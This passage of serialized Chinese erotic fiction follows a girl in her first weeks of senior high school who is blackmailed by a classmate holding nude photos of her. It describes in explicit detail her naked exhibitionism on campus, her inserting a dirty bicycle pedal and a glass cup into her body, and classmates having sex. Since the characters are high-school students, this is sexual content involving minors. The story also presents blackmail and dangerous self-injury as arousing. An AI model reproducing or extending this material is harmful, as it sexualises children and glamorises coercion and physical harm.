正当我想着想解决这件事的时候,果不其然。在其中的一张照里面有一个手机号码。我拿起手机迫不及待的照着上面的号码拨了过去。一声声的“嘟嘟”声好像比我过得这十几年还要长。

“喂!你好。请问您是∼∼∼∼∼∼”终于有人接了,原来是跟我一样也是女生,而且声音还满好听的,应该年龄不是很大。这时候我都不知道说什么好。 “喂!你∼∼∼你好∼∼∼。我∼∼∼我是你刚刚拍的照片里面的那个淫荡的女生”我羞的满脸通红。有点语无伦次。我还刻意加上了淫荡两个字,我清楚,在她面前我还讲什么尊严呢。何必还顾及那么多。哄得她开心。甚好她一下把照片还给了我才是我最想要的。

“哦。我知道了,这么久才给我打电话。你还睡得真久。想想你刚刚那淫荡变态的样子,下面居然能插个可乐罐!”

“对不起。我想知道照片的事你想要怎样?你要多少钱可以说。”我现在也懒得去理任她怎么样侮辱我。我只想着照片的事,我可以让全世界人知道我变态,我淫荡。可我不能让我爸妈知道。我真的无法想像看到他们那种伤心欲绝的眼神。我该怎么样去面对。

“切,你还以为我要敲诈你?告诉你我不要钱,如果你想拿回照片,到时候再看吧,希望你别改电话号码。我可不想我想找你的时候找不到你。你也把我号码好好留着,哼,顺便告诉你一声。以后会有得你受的。变态的女人,还有,记好了。我叫林玲。”她说完这些话后直接挂掉了电话,都不给我一个提示,她到底要什么?她不报警又不要钱。难道她只是单纯的想留着那些照片?不可能,不然她不会留下电话号码。

我心烦意乱的放下电话,看着那张照片后面的电话号码发了半天呆。我不知道那个叫林玲的女人到底想怎么样。但至少我确定照片是不会暴光了,我很努力的告诉自已没事,不管那个叫林玲的女生要我做什么,我只要答应她,兴许哪天高兴她把照片全给了我。

可我万万没想到的是。我全都想错了,照片虽然没暴光,但那个叫林玲的女人让我即将开学的高中生活发生了让我自已都不敢回想的翻天覆地的变化。把我推向了无底的极度变态的深渊。

(未完,待续)

(六)

时间过得真快,转眼间便将步入新的学校,这些天被照片的事压抑得几乎癫狂,把我本来新入学校的好心情一扫而光。我每天都在给她打电话,很想解决掉这件事情,好放下这压得我喘不过气的包袱,可她不是不接就是关机,甚至昨天还给我下了道必杀令:要是再打电话骚扰她,她就将照片曝光。我没有办法,也只好忐忑不安的暂且将这事放下。

经过我深思熟虑,也是啊!何必管这么多呢?事情已经彻彻底底发生了,把柄也被人抓得牢牢的,我这样凭空折磨自已又是何苦?况且她根本就不给商量的余地。还是做好明天入学的准备工作吧,可怜爸妈一个都不在我身边,想想明天只能一个人去新学校报到,不免心里空洞洞的。

第二天大清早,我就兴致昂然的到了华中附属中学开启了我的新的人生路。 新学校,新环境,给人一种新鲜的感觉,我也似乎忘却了照片的事,对即将要面对很多新同学浮想联翩。可恨的是,我居然全是想的那些色色的事,而且还感觉到下体有点湿湿了。

我狠命地拍下自已的脑袋,好让自已在淫荡的思绪中清醒一下,我真不敢想像哪天我会不会在人潮汹涌的学校广场上脱光自已。不过,这倒是一件非常刺激的事。

门右侧便是一座六层的教学大楼,每层都有十二间教室;大门左侧是办公和试验混并的楼房,也是六层,只不过没有教学楼那么长。

而大门的对面,准确的说应是斜对面,就是学校食堂了,在食堂的后面有一个偌大的空间,是学校用来举办娱乐晚会或者开学校大会来用的,因为食堂不是很大,有时候也会有很多学生跑到大会堂去吃饭。

然后就是我刚刚提到的,大门左侧的试验大楼的尽头,也就是食堂的前面,就是一条通往寝室的很宽的一条大道,只不过寝室还满远的,从这里上去还要先经过一个足球场。足球场在那条大道的右侧,在左侧也就是试验大楼的后面,是一个拥有三个篮球场的巨大空间,在篮球场上方就是一座说大不大的学校花园。 大家可别把花园和篮球场想成是处在水准线上的,因为花园是在篮球场上方一个坡度很均匀的小小山头上面

与其说是花园,还不如说是一个修整得很美感的小山头,只不过里面放了很多供学生休闲的秋千啊、吊床或者凉亭什么的,当然,还有很多用大理石做的石椅。在花园的右下角,差不多也就是大道的尽头吧,就是寝室了,寝室有两栋,是那种传统的男生和女生寝室面对面排列,中间差不多就相隔不到十米远吧! 因为是座落在花园的上方,所以寝室周围还有很多树啊、小山头什么的,而在寝室上方还有一些建筑,是学校老师们住的地方,中间隔了一些小山头,处在寝室也看不到那些教师居民房。

杂乱无章的说了这么多,我不知道大家有没有了解学校的大体情况。因为在以后会有满多的在高中露出的篇幅,所以我想尽量多说一点学校的地理场景,在我文笔有限的情况下,先给大家一个也许很模煳的画面吧!

现在进入主题,在刚进学校的那一阵,我没做出什么疯狂的事情,毕竟是新的地方还不怎么了解吧,还没找到什么值得露出的兴趣;也可能是我比较开朗的性格,很快就跟一些新同学玩成一片。

露出的种子渐渐地沉寂,可我没想到的是那个偷拍我、叫林玲的女人突然一天给我打了一个电话,也就是这个电话,彻底打乱了我刚进学校时正常的生活。 她说她也在华中附属中学,并且跟我是同一届,想要跟我见面彼此认识一下。

我不知道我该不该去跟她见面,为什么她也在这所学校,还跟我同一届,这难道是巧合吗?或者跟本就是她设下的一个陷阱?

现在我没得选择,无伦什么样的糟糕情况等着我,我也只有去面对,我不能让照片曝光,我要想办法把我的把柄夺回来。这时候我电话响了,我知道是那个可恶的女生打来的。

“我不知道你到底想干什么,但至少要给我一个拿回照片的方法吧?既然你想跟我见面,说个地方吧!”我拿起电话还没等她说话,便大声的向她咆哮着。 “哦,叫得这么大声,你淫荡发骚的时候声音应比现在还大吧?”她倒不温不急的,可哪知道我内心的感受,好像一团豆腐渣留在体内,乱成一团麻。“记着,今天晚上十点,在花园远角的凉亭那里等我。还有,你只许穿着那天我给你放照片的那件连衣裙,不许穿内衣内裤,知道吗?当然,你也可以什么都不穿。 哼!这不正是你想要的吗?”

都不给我伸辩的机会,她就直接挂掉了电话。我呆若木鸡的坐在床上,心想命运不会对我那么残忍吧?为了拿回照片,为了让她高兴,我豁出去了,干脆到时候一丝不挂的去见她,她不就是想羞辱我吗?我就给她满足。

时间一分一秒的过去,十点马上就要到了,我拿不准到底要不要穿衣服。要真的全裸的下去,还真有点危险,不过幸好我的寝室刚好处在贴近花园的最后一间,而且就在二楼,出了门在右边就有个下去的楼梯间。因为学校通往寝室的大道在那边的尽头,而且那边也有一个楼梯间,所以一般进寝室的同学都是从那边上上下下的,这边倒是比较少有人走。

“嘟嘟嘟……”这时我定好的闹钟响了,我知道再过二十分钟就要到十点,现在不容我有更多的时间考虑,如果十点她在那里没见到我,会不会恼羞成怒,一下把我打入冷宫?

在我脑海里反复的做了几千次决定之后,我还是打算一丝不挂的去见她。其实说实话,也并不是全为了让她高兴,也许心里的露出种子在作怪,我现在倒很渴望这样全裸的去见她。不知不觉,下面已经是湿湿的一团了,淫水都把床单湿了一大片,幸好寝室现在没人,要不然就糗大了。

我脱去身上唯一的一件连衣裙,甚至连鞋我都没穿,让身上彻底的、没一丁点遮挡的东西就出门了。但毕竟是新地方,我还是习惯性的先朝外看了看,确定现在二楼的走廊上面没有人,我才蹑手蹑脚地去了右边的楼梯间,并且把头朝下望瞭望没有人上来。

这时候我还是学以往最喜好的狗爬的姿势慢慢地从楼梯间向下爬去,可能很久没这样露出过了,我把屁股撅得非常高,早就欲求不满的我淫水直冒,竟然像撒尿一般。我顺势用手摸了摸我那涨得发紫的小豆豆,一股强烈的刺激感传向我的大脑,阴精像喷泉般向外喷射。我差点失声叫出来,幸好我忍住了,因为这个时间还是有很多同学在寝室里面,叫得大声他们肯定能听到。

当快要爬到楼下时,我刚好看到不远处,也就是在墙角有个脏乱不堪的自行车的脚踏板。(因为有很多同学把自行车停在这楼梯的底下,可能那个脚踏板是哪个同学不小心掉了吧!)

我居然好像一只饿了很久的母狗看到骨头一样,疯了似的爬过去很享受把那个天天被人踩、甚至上面还有很多脏乱的黑泥土的脚踏板往我那空虚的阴道里面使劲地塞,直到完全淹没,把我发骚的小穴给整变了形。顿时,淫水夹杂着脚踏板上的黑漆漆的泥土如山洪暴发,像条小河流一样往外流,储存了很久的尿液也急速般的向外喷射而去——因为一个脚踏板,我竟然高潮到失禁了!

我慢慢地从地上爬起来,我知道我不能在这里耗太多时间,我还要去凉亭那里见我的仇人,我不能让她看到我因高潮连连兴奋不已的样子,要是被她发现,只会更加不会放过我,会更加用照片的事无止境的羞辱我。可是,这不正是我想得到的吗?

我尽量收起我心里淫荡的想法,努力地压制着体内的兴奋,夹着脚踏板继续我的凉亭之旅。我知道现在寝室那边会有很多的同学上下经过,而且两边寝室楼的顶上各有一个探照灯,把附近照得通亮,要是眼尖一点的人,肯定会看到一丝不挂的我从这里跑过对面的花园去(男生寝室是在花园的上方,而女生寝室是面对着男生寝室的,所以花园也在女生寝室的对面)。

我该怎么办?我很清楚没有时间再等了,刚才的高潮消耗了足够多的时间,我得尽快到达凉亭才行。

我作好准备冲刺的姿势,打算以最快的速度跑过男生寝室后面,还好此时因为探照灯反射的原理,对面男生寝室的人也不容易看清我,只要过了这一道关,后面的路程也就相对要略为轻松一些。

我拍了拍此起彼伏的胸部,硬硬的乳房好像也害羞般红通通的直跳个不停。 看着那边匆匆的同学,我选了个自认为最好的时机,光着雪白的屁股在两个寝室楼中间裸奔了,我不知道中途有没人看到我。跑过去后我躲在男生寝室的侧墙后面,听到几声零星的骚动,不过很快平息之后,我才放下心来。

因为有墙挡着探照灯的原故,这里相对较暗一些,趁着夜色,我胆子也大起来了,刚才的惊魂未定也渐渐地平息,还大摇大摆好像胜利般无所顾忌地朝凉亭的方向走去。可我没想到的是,越是比较安全的地方,越是容易放松,从而越容易发生一些不可饶恕的意外。

(七)

因为差不多十点了,所以公园里显得很暗,里面又没装露灯,就是很努力地看,差不多也只能看见前方三、四米之内的东西吧!我以为这里应很安全了,也就有恃无恐地身无寸缕先到处瞎逛了一会儿,把去凉亭的事倒晾到了一边。 当我走到一个离石椅不远的地方时,打算去坐会儿,毕竟赤着脚,走在又是水泥又是土的地面上还是有些生痛,有些吃不住。而且我那巨穴里面的脚踏板好像也在作怪,害得我两只腿软软的甚不是滋味,止不住的淫水早就从大腿根流到了膝盖上面,而且脚踏板很脏很多污垢的原故,导致流出来的淫水都是黑黑的很恶心。

我也懒得去擦乌黑黑的淫水,慢慢地向那张石椅走去。正当我靠近石椅的时候,我看到了一个惊天发现,原来有一对同学这时候在这偷情!当时我差点失声叫出来,幸好我反应快,刚才真是太大意了,跟本没想到这时候了会有人来这里干这种事。可能刚进学校还没了解透彻,看来越是认为安全的地方越是要小心,要是让学校发现了我如此淫荡变态,估计会比照片的事更惨。

不过我没离开,反而慢慢地向石椅后面爬去,我倒想仔细地看一下他们两个做爱的情景。就是被他们发现了我现在全裸在这里也无所谓,因为他们两个也没干什么好事,也闹不出什么大事端来。我为自已脑袋的转速非常满意,不管遇到什么事,马上就会想到一个化险为夷的好办法,面且会更加刺激、更加兴奋。 我悄悄的躲在就跟他们近在咫尺的石椅背后,因为那个女生是真接坐在男生腿上采用的后入式,他们跟本就不会看到躲在石椅后面的我,而且就像他们这种处在高潮边缘的同时,估计不大喊一声他们是不会有所反应发觉我的。

“嗯……嗯……死鬼轻点……痛啊!”我听清了那女生轻轻的叫着,又想大声但又不敢大声。看着他们两个如此投入,在后面的我早就淫水四溅了,我一只手用力地捏着向我示威的小豆豆,另一只手则使劲地摇动着阴道里面的脚踏板。 我不是采用的正常的抽插式,而是用五个手指狠狠抓紧脚踏板,在阴道里面野蛮得就好像踩自行车一样,飞速的旋转着。

这种不敢太过张扬,但又兴奋连连的我达到了前所未有的高潮,我只能强忍着努力地不让自已发出声音,因为就在前面咫尺的地方还有一对男女在做爱,我不能让他们发现,我也不想打乱他们的好事,不知道现在他们如果看到如此淫糜变态的我还有没有性趣做下去。

但正处于又一次高潮临近的我,这些理由是何其微不足道。火山爆发了,世界末日来临了,我大叫一声,滚烫的淫液如火箭升空时尾部的火焰,夹杂着失禁的如山洪般的尿液像美丽的喷泉一样四周散开。近乎疯迷的我继续飞速旋转着还留在体内的脚踏板,而另一只手却捏着正在喷射的尿着口,导致尿液就如被堵住的水管末端只有一丁点小口,飞速的砸在手臂上,反射性的喷得我满身都是。 我仰躺在满是泥土的石椅下面,疯狂的高潮让我忘却了旁边还有一对情侣,敏感的身体撒咬着我身上每一根神经。我仿佛看到了天上的鸟儿在飞,海里的鱼儿在游,还有我爸妈牵着一只可爱的小狗向我微笑。这是临死的状态吗?不是,美妙的感觉让我看到了世间最美妙的东西,让我长时间地沉浸在美丽的幻想世界里。

我缓缓地睁开眼,感觉自已好像躺在一片沼泽上面,原来是刚才的尿液太多了,现在满是草的地面上到处都是一滩一滩的尿液。早就被冲洗得非常干净的脚踏板已经滑出了三分之二,阴蒂像颗花生米一样,红通通的煞是诱人。我全身无力的从地上坐起来,短时间屡次高潮让我差点虚脱,我知道我还得到凉亭去。 “啊……”一声惊叫把我从高潮迷幻中惊醒,我猛的一下从地上跳起来,因为刚刚就在我上方,四只不可思议的眼睛趴在椅背上如铜铃般看着我。他们惊讶的表情让我认识到,我刚刚所做的一切都是在他们眼皮子底下做完的,那个飞速旋转在我巨穴里的脚踏板,还有差不多几升的尿液。

我羞得满脸通红,赶紧用满是尿液的手捂着脸,可我没有像正常规律反应一样跑开,而且站在原地想看看他们会不会有什么反应,此时他们两个甚至连裤子都忘了拉上去,那个女生雪白的屁股上还留有些许精液,想必是男生怕坏事没射在她体内,而选择射在了屁股上。

“对……对不起,打搅你们了,你们可以继续做。”我有些语无伦次。我知道还处在惊魂未定的他们还在回想着刚在他们所看到的一切,似乎很难相信现在掉在地上的脚踏板会在我的阴道里面旋转自如。

“没事,只是有点惊讶。”稍稍缓过神来的男生向我说道:“你下面能插进这个差不多十公分长的脚踏板,太难以置信了,而且你还能横着在你体内旋转,太惊奇了。”

这时我恨不得钻到地缝里面去,连我自已都惊呆了,没想到刚刚我居然是横着转的。我很不好意思,略表无奈的看着他们两个,而此时那个女生的嘴巴一直就没合拢过。

“请问一下,你为什么会一丝不挂的出现在这里?刚刚你那一叫真的差点让我掉了魂。”看到男生已进入了现状,倒是对我很好奇,我不知道怎么回答他。 “我……我也是跟你们一样,刚刚和男朋友在那边凉亭做……做那个,可是我那没用的男友完事之后就丢下了还处在欲求不满的我。为……为了满足自已,我只好裸着身子瞎逛,就在这不小心看到你们也在那个,我一时忍不住,就…… 就……”

我结结巴巴的只能向他撒了个谎,我总不能说是因为要胁而且喜欢暴露而故意光着身子跑出来吧!他也似乎很相信我说的话。

“哦,原来是这样。我们可以彼此保守秘密,让今天晚上的事永远消失掉好吗?我们就不打扰你兴致,先走了哦!”男生好像有点怯怯的要求我说。嘿嘿,这不正是我想要的吗?看来他比我还担心今天的事会曝光。

“嗯,好的,就让我们彼此保守秘密。但你走之前可以让我看下你的那…… 那个,好吗?”我捂着自已雪白的因为发硬而坚挺的胸部,羞得脖子都通红了。

“那好吧!”正打算背着身子穿裤子的男生转过身来,已经软掉的小弟弟缩得只有大姆指般大小。

“哈哈……哈哈!你那个好小,好可爱。”我直到现在虽还未经人事,但男生的鸡鸡还是看过不少(说实话,我还真没真正见过,以前都从色情电影或者图片上看到过),没想到他的这么小。我突然发现了我的失态,连忙赔不是:“对不起,对不起,我不是有意的。”

他有点鄂然,有些不自在的穿着裤子,“哎!没办法,但是我这个再大估计也很难满足你。”他有些生气,反唇相讥,然后牵着他没说一句话的女友消失在夜色里。

我用手语味心长的摸了摸自已的巨穴,也有些鄂然。不过我没怎么在意,因为我了解我自已,只要不插巨物,过不了多久就会回复到紧紧的状态,只是他不知道而已。而他的那幺小,却只能永远那幺小了,哼!我狠狠地诅咒着他,居然敢鄙视本公主的小穴。

忽地我猛然想到我来此的目的,刚刚耗的时间太多了,我知道现在肯定已不止十点。管它呢,得到充份满足的我还哼了几句曲儿赤裸着身体,活蹦乱跳的朝凉亭方向走去。才跳几步我赶紧收回自已的大意,刚才不就是这样差点一屁股坐在他们身上,真是不长记性。

这时我想到那个脚踏板还在那儿呢!满身尿臭味的我还重新折回去打算把那个发臭的脚踏板再放回去,可这次我却没放回阴道里面,我想尝试一下放进肛门会有什么样的效果。

说做就做,我胡乱地从阴道里面抓了些淫水涂在早就冲刷干净的脚踏板上,慢慢地突过肛门,一点一点的往里塞。肛门可不比阴道,收缩性远远差了些。而且相信大家都知道,像那种脚踏板表面其实都很粗糙的,为了方便骑自行车的人脚不滑,甚至表面的塑胶毛边都没怎么刮干净。刚刚放进阴道的时候,可能因为当时我正处于高潮期,根本就没体会到刮到阴道壁的疼痛,可现在兴奋的强度大大下降,还要插进更紧的屁眼,疼痛是可想而知的。

当我插进一半,强烈的痛楚让我死去活来躺在刚刚尿过的草地上,可是这种自虐的痛楚我却非常向往,我居然还在一点一点地使劲地往里塞。实在痛得塞不进去的时候,便整只手插进刚刚高潮过的骚穴里面从深处抓点更润滑的淫液,直到整个脚踏板在我强烈的痛苦中完全淹没。而且刚刚插入之前,我还有意地从旁边捡了根比较结实的绳子系在上面,这样方便到时候拉出来。

我为我周全的想法感到很自豪,虽然我的屁眼现在正被那个完全淹没的脚踏板痛苦地折磨着,而且肛门完全变了形,甚至把阴道都给撑得滑向了一边,可我体内的淫虫却正在燃烧着,自虐带来的快感让我下面又湿湿了。

我的雪白的屁股以不可思议的程度无一点规则的扭动着前进,毕竟脚踏板是那种典型的长方体的形状,根本就让我无法像正常人行走,我一瘸一拐、一扭一摇的继续我的羞耻之旅。终于在不远处看到了我要去的那个凉亭,而且里面还有个红衣少女在那焦急的来回跺步,我想她肯定就是可恶的林玲了。

“喂,你好,请问你是林玲吗?我是谢沐,我按你的要求来了。”我低声下气的试探性的问了一声,而我的手还很害羞的挡着我的三点部位。

她从凉亭的坐位上面豁的站了起来,看清了是我之后,马上用一副轻蔑的眼神、用一种恶毒的大嗓门向我咆哮:“噢,原来是我的谢大小姐,你终于知道来了,你知道现在是几点了吗?你知道你整整迟到了一个小时吗?”我好像很令她恼火,根本不顾及我现在正全身赤裸,要是因为她大声说话而引来陌生人,我该怎么办?

“想不到你还真的全身赤裸的来见我,我算服你了。诶……怎么会这么臭? 刚刚还没有的。天啊!受不了了!”她嘲我身上嗅了嗅。恼羞成怒的对我怒吼:“原来是你身上发出的臭味。你快说,你刚刚干什么去了?”

我无言以对,不知道说什么好。本来就因为迟到惹她很不高兴,现在又闻到我被淫水加尿液清洗过的身体,我清楚悲惨的命运会即将到来。我只得把从寝室出来开始,中间的经过一一向她汇报,她听得面红耳赤,原本很漂亮的她因为紧张,额头上还起了细纹。

“你把屁股转过来让我看看。”

她想证实一下我有没有说谎吗?我缓缓转过身子,微微抬起雪白而扭曲的屁股,还故意用手趴开让她看。虽然趁着夜色不怎么看得清,但她也能看到我那被撑得呈一个长长的洞的屁眼,而且还有跟绳子留在外面,相信她感觉到里面会有什么了。

“太淫荡了,你比我想像的还要变态。”

“我现在来了,而且全身赤裸的来了,鞋都没穿一双,这样你高兴了吧?可照片的事……”我没理睬她对我的辱骂,低着头不敢看她。

“你放心,照片的事我不会曝光,不过对于你这么淫荡的女生居然还担心照片,我看你是故意装的吧?”

我一言不发的任由她羞辱。她说得也对,谁会相信像我这样变态的人还会担心照片?只怕巴不得想曝光,好让全世界都看光光。可是在我内心,却是真的很担心照片,不管你怎么样羞辱我,不管你相不相信。

等她说完了后,我在她面前微微而泣,我没想过要博她的同情,只是由心而泪。我不敢想像我以后的人生会怎么样,而且也不知道即将等待我的命运会是什么。看着林玲使劲捂着鼻子的对我恶心厌恶的表情,就清楚她定不是善类。 (八)

林玲用很不屑的眼神看着我,两只手把她那精致的五官悟得变了形的别向另一边,也许我身上真的太臭了,就连我自已都快无法忍受,

“你去下面篮球场边男生用来洗手的那个水龙头去洗洗吧,瞧瞧你那淫荡的样子,真不知道你是怎么能忍受的。”林玲向我摆摆手,用很厌恶的口吻对我说。

“你说什么,你要我去下面篮球场的那个水龙头去洗澡,有没搞错啦,那样我还不被那些男生看光光啦”。我看着远处正有几个男生正在大汗淋漓的潇洒的打着篮球,有点不敢相信自已的耳朵。我怯怯的看着林玲。好希望她收回刚才的话,“我可以去寝室洗吗,那里实在危险了,你没看到篮球场上那几个把篮球场照得灯火通明的探照灯吗?”

“什么,就你这变态的混身发臭的身体,还怕被人看见么,这不正是像你这种暴露狂想做的事吗”林玲根本不管我那乞求的眼神,冷漠的向我说。

“真的不行啊,我~~~那样太危险了,要真的被他们看到怎么办,”我还不想刚进新学校不久就因为身无寸缕的在校裸奔被开除。那样以后还叫我怎么有脸见人。我继续努力的做些看是无谓的挣扎。

“你在挑战我的耐性吗,叫你去你就去,这不正是你所向往的吗?”说完这些,林玲便径直到下面去看那几个男生打球去了,丢下还在原地一直左右为难的我。

既然事情到了这种地步,还是硬着头皮去吧。看着篮球场上那几个赤着上身的男生来回跑动,不免还真的有些向往,到了这时候我还想着那些色色的事情,真是无可救药,我真恨我那级度敏感的身体。刚刚高潮了N次的我,不觉下面又湿湿的了,在肛门里面还有个脚踏板的我感觉此时阴道有种漠名的空虚。

我慢慢俯下身子,打算进行我人生以来最疯狂的一次露出,这次我显得格外小心,先彻底的了解了附近的地形,我才慢慢的跨出这次几乎不可完成的任务。相信很多人都应知道,花园里面都一般都会有很多林荫小路,而这里也不例外,要是直接穿插着小路下去的话,有很多灯光都照进花园的原故,会处于非常危险的境地。特别是临近篮球场的那里,差不多都是处于男生眼皮底下。所以我还是打算沿着花园围墙杂草从生的角落爬下去,毕竟有些草木挡着,会安全很多。而且沿着这条路,没有那些林荫小路横插,就在围墙边缘的尽头,还可直达水龙头边。

我深吸了一口气,慢慢的采用狗爬的姿势向围墙边爬去。有一些硬硬的死草根扎得我手撑和膝盖很痛,毕竟快到深秋了,那此草木早就丢弃了原有的茂盛。可能很多人要问我,深秋不是很些冷吗?像我现在这样混身赤裸能忍受吗?大家可能要误会了,像我这种超级暴露狂还会管什么天气问题,只要够刺激,就是在大雪天也没所谓啦。

这时候我突发其想,我放弃了那条比较安全的有杂草保护的路线。而是打算从花园中间直接爬下去,越是容易被人发现不是越刺激吗?现在我内心露出的种子正处于含苞待放的时候,不来点更疯狂更刺激的怎么能满足得了自已。

说做就做,我把屁股翘得高高的,还不时的用手扯了扯屁眼里面那半节掉在外面的绳子,内心的激动很难用言语来表达。每爬一步就会更接近危险一步,每当路过一个亭子或者石椅我都会激动万分。巨穴里面早就淫水四渐。此时我看到刚好旁边有个很脏的玻璃口杯,我不知道这东西怎么会刚好会在这里,好像是上天故意赐给我的礼物。我迫不急怠的把玻璃杯使劲的往我淫水氾滥的阴道里塞。虽然很轻易的就插了进去。但刚进去的时候还是有些刺痛。因为肛门跟阴道距离很近的原故。导致里面也就是一片薄薄的肉片相隔。插玻璃杯的时候刮到了由于脚踏板突出的阴道壁的那块地方。痛得我差点叫出声来。但最后我还是忍着痛慢慢的把很脏的玻璃杯完全淹没在我的阴道里才慢慢的继续向前爬行。

我翘着两个张开的屁眼洞和阴道。渴望的看着前方的水龙头,此时已有很多灯光照在了我身上,幸好那些男生还在忘我的打着篮球,根本没注意到此时正有个屁眼和阴道里面插着巨物的裸女缓缓的向他们爬得。而且淫水不断的由大腿根流在地上形成了长长的一串水泽。

如果现在他们只要稍稍注意一下上边花园的情景,就能看到此时的我的香艳表演。我忍着兴奋幻想着在他们面前暴露的景情高潮连连。我还故意放慢脚步好让自已处于多一些发现刺激感。甚至转过身把我那雪白的淫荡的屁对着他们。两个洞洞像喇叭一样开始招唿他们。正当我意犹未尽的时候,意外发生了,

“喂。场上的帅哥,加油啊,”这时候我听见林玲在场边像发了疯似的喊叫。她这一叫不要紧,可我和林玲,还有那群男生正处于一条水平线上,要是林玲的叫声引起了他们的注意,岂不是刚好也注意到我了吗?

我心里狠狠的咀骂着该千刀杀的林玲。我知道她刚刚肯定看到了我正好淫荡的将屁股朝着他们。她是故意想让我出丑才叫的。我疯了似的连忙坐在旁边一个椅背刚好朝他们的石椅上面。暗虚一口气。转过头去看下篮球场上的情景。果不其然。几个看到有美女主动搭讪的男生,色色的还走到林玲身边去。而且还有一个朝我这边看了看,我尽量压低了身子。内心的激动如洪水般翻江倒海。可能是打累了的原故。注意到我的男生还略有深思的朝我这里走过来,我想我完了,怎么办,我根本就没地方逃。我只要移到一步他就会很轻意的看到我的裸体。“天啊,怎么办,怎么办。”我紧张得心脏都差点蹦出来。此时的我根本就不知道怎么去解决。

“你~~~别过来。”我转过头伸出裸臂向他怒吼。我这一吼倒真叫住了向我靠近的男生,可由于我声过大。在林玲身边的男生也齐刷刷的朝我这边看。可能是林玲也注意到我急得快掉眼泪的表情,

“别管他,她是我朋友,刚被男友甩,正在这伤心呢,你可别招惹她,说不定惹急了他会杀了你”林玲虽解释得有些前后不搭。可庆幸的是,那个男生也乖乖的走了回去,可能是胆小吧,我如释重负的哭得很伤心。不由使劲的挪动着我体内的玻璃杯和脚踏板。狠狠的折磨着我那淫荡不堪的身体。我已经不知道痛了,刚刚的一幕差点让我绝望,哪还会知道什么痛。我双手抱头痛哭着。想想刚才差点身败名烈的瞬间,不寒而栗。

“谢沐。”听到林玲在叫我,我转过我刚刚梨花带雨的憔悴面容。感觉那几个男生眼睛都直了,我以前在家哭的时候经常照镜子,我知道我哭过的样子很惹人怜爱。可能那几个男生现在正心生怜悯。估计都在想杀了我那虚无的男友。怎么会甩掉像我这样可爱的女生呢!

“谢沐”林玲继续叫着我。可能她也注意到了刚刚男生的表情,故意停屯了一下,“我和他们去买点水喝。你先在这坐会。等会我找你”。这时候她故意只有我能看懂的在水龙头还要在那洗身子的动作。

“嗯,你去吧”。我突然感觉我憎恨的林玲原来是如此美丽,我回报她一个感激的微笑。然后他们就离去了。

我呆呆的在石椅上面坐了一会儿。泪水也继续的从我脸夹上哗哗直落。我从刚刚发生的惊险的一幕还未能继续回过神来。内心的兴奋也被刚刚的恐惧消失殆尽。没有了激情的我现在去水龙头旁边去洗澡也会更加胆怯。可想想刚刚发生惊魂的事,我便勇敢的站来走到水龙头下面,恨自已不就是这么淫荡吗。让你变态的身体被人看吧,最好身败名裂,此时我还是哭得很大声,我知道现在都快12点了,附近不会有什么人了,而巡逻的老师也要等到1点才会来。

我用手故意一下快速的把阴道里面的杯子猛的拔出来。然后还拉着屁眼里面露出的绳子,也是猛的一下向外拔,痛苦和悔恨的泪水让我故意折磨的我的身体。

“谢沐啊,你为什么这么淫荡,为什么要这么变态。你活该就差点被人发现,这都是你自找的”。我还使劲的拔着自已的阴毛,相信女生都知道,阴毛和头发其实很不一样。拔起来会非常的痛。我把头直接淋在水龙头下,冲刷着我扭曲的身体,手上拔掉的阴毛随着流水丝丝飘过。直到身上彻底没有一丝臭味。 我缓缓的走到篮球场的中央,被惊吓过度的我此刻什么都不怕了。强裂的探照灯很明亮的照在我洁白的身体上。估计任何人都不会想到此时如此纯洁的肉体下面。会俺藏着常人无法想像的一幕。我索性躺在诺大的篮球场的中间。看着天空缕缕流星划过。感觉到纯洁下来的我原来也是如此美丽。

正常我沉醉在忏悔的思绪当中时,买完水的林玲也从那边走了过来。不过,这次只有她一个人。把那些可恶的男生全都打发走了。我知道命运不会轻意的放过我。淫荡的血液深深的流在了身体的最深处。已无法改变了。关于流星的愿望原来也只不是拿来骗骗自已而已。

(九)

“谢沐,你躺在这干什么,神经错乱了吗?不怕给人看见啊?”林玲走到我身边,赶紧把我从地上拉起来,她倒比我还担心。

“我没事,只是刚刚真的被吓到了。对不起,我……”我有些迷茫,不知说什么好,跟着林玲走向花园里面。

“其实甭说是你,我也被吓到了,幸好那个男生没走前去,要是他真的看到你,很难想像会发生什么样的事情。责任应全在我,说对不起的也应该是我。”林玲有些语味心长。我有点摸不透。为什么现在她倒变得这么温柔,她不是很想羞辱我吗?

“事情都过去了,我没事。可是照片的事,你看……”我不知道林玲还会要我做什么,但我没忘记照片的事。以后的人生还很长,刚刚思虑了这么久,我不能再这样变态下去了,我想做回原来的自已,如果我不尽快拿回照片,我真不敢相信还会有什么样的事情等待着我。

“照片的事先放下吧,等会我会给你满意的答复的。不过我想问问,在你心中我是不是很可恶很卑鄙?你……很恨我吗?”我愕然。我没想到林玲会这么温柔的对我说话,心里七上八下的,难道这会是什么陷阱吗?

林玲有些红朴朴的看着我,像看穿了我的心事:“别往坏处想了,其实一开始我只是想跟你玩玩而已的。我家就在你楼上,那天是因为要去13楼有点事,懒得坐电梯,想想就二层走楼梯还快些,不巧刚好看到你裸睡在楼梯间。当时你把我吓了一大跳,尤其是看到你那个里面居然有那么大个可乐罐,后面还有五把牙刷。”

林玲和赤裸的我并排的坐在花园的石椅上,说到这里还用手指指我的下体,继续说:“我当时以为你死了,后来才发现只是躺在那里睡觉,而且你身上还有一股很难闻的臭味。”

“那是我因为高潮控制不住,失禁了。”我低下头打断了她的话。

林玲“噗哧”一笑:“你啊,真是太那个了,没想到混身那么臭的尿液居然还能睡着。”我羞得满脸通红,继续听她说:“我当时也是太好奇了,就去家里拿了照相机从各个角度把你拍了下来。打算走的时候刚好看到了楼梯口旁边垃圾篓里面还有你的衣服,当时想这么好的连衣裙怎么会被人扔掉呢,认定就是你放在那里的,所以最后我把照片放在了袋子里,还留下了我的手机号码。我本性其实一点都不坏,当时看到你也跟我差不多大,倒是很想认识你,所以我才那样子做。我……对不起,让你受这么多委屈。”

林玲用手抱着我赤裸的肩头,跟我说了很多话,我没有想到事情会进展到这样,让我始料未及,此刻我不知道该高兴还是该恨她。我茫然抬起头看着她,从她温柔清澈的眼神里,我相信她是真心对我说的。

“我们可以做朋友吗?其实那天在楼梯间看到你的时候,我也……也有点兴奋。”林玲放开我的手,埋首胸间。我对这突如其来的结果是双乳直颤,无言以对,看着她脖子都羞得通红的样子,我“噗哧”一笑。

“没事啦!事情都过去了,你也跟我道歉了。也许你认为那些事很过份,可也让我刺激不已啊!如果真的能跟你做朋友,我高兴还来不及呢!”我拍拍心情杂乱的林玲,对她莞尔一笑:“走吧,还是先回去了,都快12点了,我可不想到时寝室门关了害我裸奔一晚上。”

